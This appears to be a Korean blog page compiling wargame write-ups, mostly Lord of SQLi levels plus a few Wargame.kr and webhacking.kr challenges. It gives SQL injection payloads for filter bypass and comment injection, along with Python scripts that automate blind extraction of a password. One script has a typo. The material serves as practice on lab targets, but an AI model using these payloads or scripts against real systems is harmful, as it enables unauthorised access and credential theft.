문제를 보면 쿼리 맨 뒤 부분에 and 1=0 이라는 구문이 있어 쿼리가 거짓이 되고 있다. 이 부분을 주석처리를 통해 없애주면 문제를 해결할 수 있을 것 같다. /?pw=' or id='admin'# 이라는 쿼리를 보냈더니 #문자가 들어가지 않아서 #을 헥스값으로 바꾼 %23으로 넣었더니 정상적으로 주석처리가 되며 쿼리가 참이 되서 문제를 해결할 수 있었다.

payload : /?pw=' or id='admin'%23

'Security & Hacking > Wargame' 카테고리의 다른 글

[Hack CTF] x64 Simple_size_BOF  (0) 2021.04.25
[Hack CTF] x64 Buffer Overflow  (0) 2021.04.23
[LoS] vampire  (0) 2020.11.10
[LoS] troll  (0) 2020.11.06
[LoS] orge  (0) 2020.11.06

문제를 보면 id 값이 admin 이면 문제는 해결된다. preg_math() 함수로 필터링 하는 문자들을 보면 '(따옴표)를 필터링 하고 있고, admin 이라는 문자열을 필터링 하고 있다. 그러나 첫번째 preg_match() 함수를 보면 i 가 있고, 두번째는 i가없다. preg_match() 함수의 패턴 구분자 뒤의 'i'는 대소문자 무시를 하게 된다. 만약 두번째 preg_match() 함수에 'i' 가 있었다면 admin 이라는 문자열이든, Admin 이라는 문자열이든 대소문자 구분하지 않고 필터링 하게 된다. 그러나 지금 이 함수에는 'i' 가 없다. 또한 mysql은 대소문자 구분을 하지 않는다. 따라서 대문자로 우회할 수 있다.

 

payload : /?id=ADmin

'Security & Hacking > Wargame' 카테고리의 다른 글

[LoS] skeleton  (0) 2020.11.10
[LoS] vampire  (0) 2020.11.10
[LoS] orge  (0) 2020.11.06
[LoS] darkelf  (0) 2020.11.03
[LoS] goblin  (0) 2020.11.03

문제를 보면 or과 and를 필터링 하고 있다. 문제를 풀려면 pw의 정확한 값을 알아내야 한다. pw의 정확한 값을 알아내기 위해 먼저 pw의 길이를 알아내고, 그다음에 정확한 값을 알아내야 한다. pw 길이를 알아내기 위해서는 orc 문제를 풀때 사용했던 것처럼 length() 함수를 사용할 것이고, 값을 알아내기 위해서는 substr() 함수를 사용할 것이다. 전체적인 코드는 orc 문제의 코드와 비슷하나 or 이라는 문자열이 필터링 되었기 때문에 동일한 역활을 하는 || 연산자로 우회를 하면 문제를 해결할 수 있다.

# los_orge.py
import requests
import re

headers = {'cookie': 'PHPSESSID=r6u3ju9bidkgqfvu2vtfc7h3cv;'}
url = 'https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php/'

pw_len = 0
pw = ''
tryList = list('0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ')
# substr() 함수에서 대입할 문자들(숫자, 알파벳 대소문자)

# pw 길이 알아내기
while True:
    pw_len += 1
    payload = "?pw=' || length(pw)='" +str(pw_len)
    r = requests.get(url+payload, headers = headers)0
    if(re.findall('Hello admin', r.text)):
        break

print('password length : ' +str(pw_len))

# 정확한 값 알아내기
for i in range(1, pw_len+1):
    for j in range(len(tryList)+1):
        payload = "?pw=' || substr(pw," +str(i) +",1)='" +str(tryList[j])
        r = requests.get(url+payload, headers=headers)
        print(payload)

        if re.findall('Hello admin', r.text):
            print(tryList[j])
            pw += str(tryList[j])
            break

print('password : '+pw)

코드를 수행하면 다음과 같은 결과가 나오고 찾은 pw 값을 입력하면 문제가 해결된다.

'Security & Hacking > Wargame' 카테고리의 다른 글

[LoS] vampire  (0) 2020.11.10
[LoS] troll  (0) 2020.11.06
[LoS] darkelf  (0) 2020.11.03
[LoS] goblin  (0) 2020.11.03
[LoS] orc  (0) 2019.11.29

문제를 보면 id 값이 admin 이여야 하고 preg_match() 함수를 통해 or과 and 가 필터링 되어 있다. 이 문자열들은 sql에서 ||(or) 연산자와 &&(연산자)도 같은 역활을 한다. 따라서 || 연산자를 활용하여 or 필터링을 우회할 수 있다.

/?pw='||id=admin 으로 쿼리를 주입하면 문제를 해결할 수 있다.

'Security & Hacking > Wargame' 카테고리의 다른 글

[LoS] troll  (0) 2020.11.06
[LoS] orge  (0) 2020.11.06
[LoS] goblin  (0) 2020.11.03
[LoS] orc  (0) 2019.11.29
[LoS] cobolt  (0) 2019.11.26

문제를 보면 pw 값이 admin의 pw값과 일치하면 문제를 풀 수 있는 것 같다.

blind sql injection 을 통해 pw를 알아낼 수 있을 것 같다.

pw 알아내는 과정을 두 단계로 설명해 보면 먼저 pw의 길이를 알아내고 알아낸 길이로 실제 pw 값을 알아낼 수 있다.

pw의 길이를 알아내는 방법은 length() 함수를 통해 알아낼 수 있고, pw 값은 substr() 함수를 통해 알아낼 수 있다.

length()는 문자열 길이를 반환하는 함수이고, substr()함수는 문자열을 특정 범위만큼 자르는 함수이다.

 

위 페이지에서는 쿼리의 조건이 참이면 "Hello admin"을 출력한다.

length() 함수를 이용하여 pw의 길이를 1부터 확인해 본 결과 pw의 길이는 8이였다.

query: ?pw=' or length(pw)=8--%20

pw의 값은 substr 함수로 1자리씩 참,거짓을 판단하여 구할 수 있다. 

이 과정을 사람이 수행하기에는 경우의 수가 너무 많기 때문에 파이썬으로 자동화 코드를 짜서 실행하였다.

import requests
import re

cookies = {"PHPSESSID": "38mrr1emu522is42ls4dq00svn"}
pwLen = 0
url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
tryList = []
result = ""



for i in range(0,10):
    tryList.append(i)

for i in range(97, 123):  # 아스키 코드 값(영문 소문자)
    tryList.append(chr(i))


for i in range(1,100):
    lenPayload = "?pw=1' or length(pw)='" +str(i)
    new_url = url + lenPayload
    req = requests.get(new_url,cookies=cookies)

    if re.findall("<h2>Hello admin</h2>", req.text):        # pw 길이를 찾으면 길이를 저장하고 반복문 종료
        pwLen = i
        break

print("pw len : " +str(pwLen))



for i in range(1,pwLen+1):                         # pw 길이 만큼 반복
    for w in range(0,len(tryList)+1):              # 0~9 숫자 + 영소문자 갯수 만큼 반복
        par = "?pw=1' or substr(pw," +str(i) +",1)='" +str(tryList[w])      # pw 값을 1번째 자리부터 숫자, 영소문자를 대입하여 비교
        new_url = url + par
        req = requests.get(new_url,cookies=cookies)

        if re.findall("<h2>Hello admin</h2>", req.text):       # 결과가 참이면 해당 값을 저장하고 다음 자리로 넘어감
            print(tryList[w])
            result += str(tryList[w])
            break


print("password is " +result)

 위 코드를 수행하면 다음과 같은 결과값이 나오고, pw를 문제 페이지에 입력하면 문제가 해결된다.

'Security & Hacking > Wargame' 카테고리의 다른 글

[LoS] darkelf  (0) 2020.11.03
[LoS] goblin  (0) 2020.11.03
[LoS] cobolt  (0) 2019.11.26
[LoS] gremlin  (0) 2019.11.26
[Wargame.kr] type confusion  (0) 2019.09.10

문제를 보면 id가 admin 이어야 한다.

preg_match() 함수를 보면 전 문제들과는 다르게 '(싱글쿼터)와 "(더블쿼터)가 필터링 되어있음을 볼 수 있다.

이는 문자열을 사용할 수 없음을 의미한다.

따라서 hex값으로 admin을 id에 넣으면 문제를 해결할 수 있다.

query : ?no=0 or id=0x61646d696e

 

 

문제 코드를 보면 전 문제와 마찬가지로 preg_match() 함수를 이용하여 특정 문자열들을 필터링하고 있고

id가 admin일때 문제가 풀린다고 한다.

 

id에 admin 값을 넣고 pw를 검증하는 부분을 주석으로 없애면 문제를 해결할 수 있다.

#을 url 인코딩한 %23을 주석으로 사용할 수 있다.

 

query : ?id=admin'%23

 

'Security & Hacking > Wargame' 카테고리의 다른 글

[LoS] goblin  (0) 2020.11.03
[LoS] orc  (0) 2019.11.29
[LoS] gremlin  (0) 2019.11.26
[Wargame.kr] type confusion  (0) 2019.09.10
[Wargame.kr] tmitter  (0) 2019.09.07

문제 코드를 보면 id 값이 있으면 문제가 풀린다.

또한 preg_match() 함수를 이용하여 _ , . 등의 문자등을 필터링 하고 있다.

필터링 하는 문자열에는 '(싱글쿼터)와 #(주석), or 등이 없다.

 

따라서 id 값에 or 연산으로 조건을 참으로 만들어 주면 문제가 해결된다.

query : ?id=admin' or '1'='1#

 

             

'Security & Hacking > Wargame' 카테고리의 다른 글

[LoS] orc  (0) 2019.11.29
[LoS] cobolt  (0) 2019.11.26
[Wargame.kr] type confusion  (0) 2019.09.10
[Wargame.kr] tmitter  (0) 2019.09.07
[Wargame.kr] md5_compare  (0) 2019.09.03

문제 설명을 보면 사용자명과 데이터베이스의 연관성을 찾아야 한다고 한다.

 

문제 페이지에 들어가 보면 사용자를 입력할 수 있는 로그인 창이 있다.

저기에 어떤 값을 입력하고 로그인하면 입력한 값을 사용자명으로 하는 메모창이 있다.

다시 처음 페이지로 돌아와 관리자 계정으로 예측되는 admin을 입력하면 경고창이 뜬다.

USER 입력창에 여러 특수 기호를 입력해 보던 중 / 를 넣었을 때 에러가 발생 했다.

에러 내용을 보면 ./db/wkrm_사용자명.db의 이름으로 db파일이 존재하는 것 같다.

URL에 다음과 같이 입력하였더니 wkrm_admin.db라는 db파일을 다운로드 할 수 있었다.

이 파일을 메모장으로 열어보면 하단에 플래그 위치의 경로를 알려준다

해당 경로로 들어가면 플래그를 얻을 수 있다.

'Security & Hacking > Wargame' 카테고리의 다른 글

[Wargame.kr] md5_compare  (0) 2019.09.03
[Wargame.kr] strcmp  (0) 2019.09.02
[Wargame.kr] md5 password  (0) 2019.08.29
[Wargame.kr] fly me to the moon  (0) 2019.08.27
[Wargame.kr] WTF_CODE  (0) 2019.08.27

문제를 보면 sql 인젝션 문제인 것 같다. 

 

페이지 소스를 보면 hi admin을 출력해야 하는 것 같다. get방식으로 no의 값을 받는다. 

erigi 함수를 보면 sql 인젝션을 방어하기 위해 필터링하는 문자들이 보이는데 공백문자도 필터링하고있다.

이는 %0a 로 우회할 수 있다.

또한 mysql_query 함수를 보면 id는 guest로 지정하고 있고 no값만 get방식으로 받고 있다.

우선 입력창에 1을 입력하면 결과값으로 hi guest가 출력된다. guest의 no 값은 1이다.

admin의 no 값은 1보다 큰 값일 것이라고 추측할 수 있다.

 

url에 get 방식으로 "no=12 or no>1" 을 우회하여 "?no=12%0aor%0ano>1" 을 전달하면 문제가 해결된다.

guest의 no 값은 1 이기 때문에 12는 거짓이므로 뒤에 no>1을 참으로 하여 admin으로 인식되어 문제가 해결된다.

'Security & Hacking > Wargame' 카테고리의 다른 글

[XSS game] Level 2  (0) 2019.08.06
[XSS game] Level 1  (0) 2019.08.06
[webhacking.kr] Challenge 17  (0) 2019.06.13
[webhacking.kr] Challenge 16  (0) 2019.06.08
[webhacking.kr] Challenge 14  (0) 2019.06.06

+ Recent posts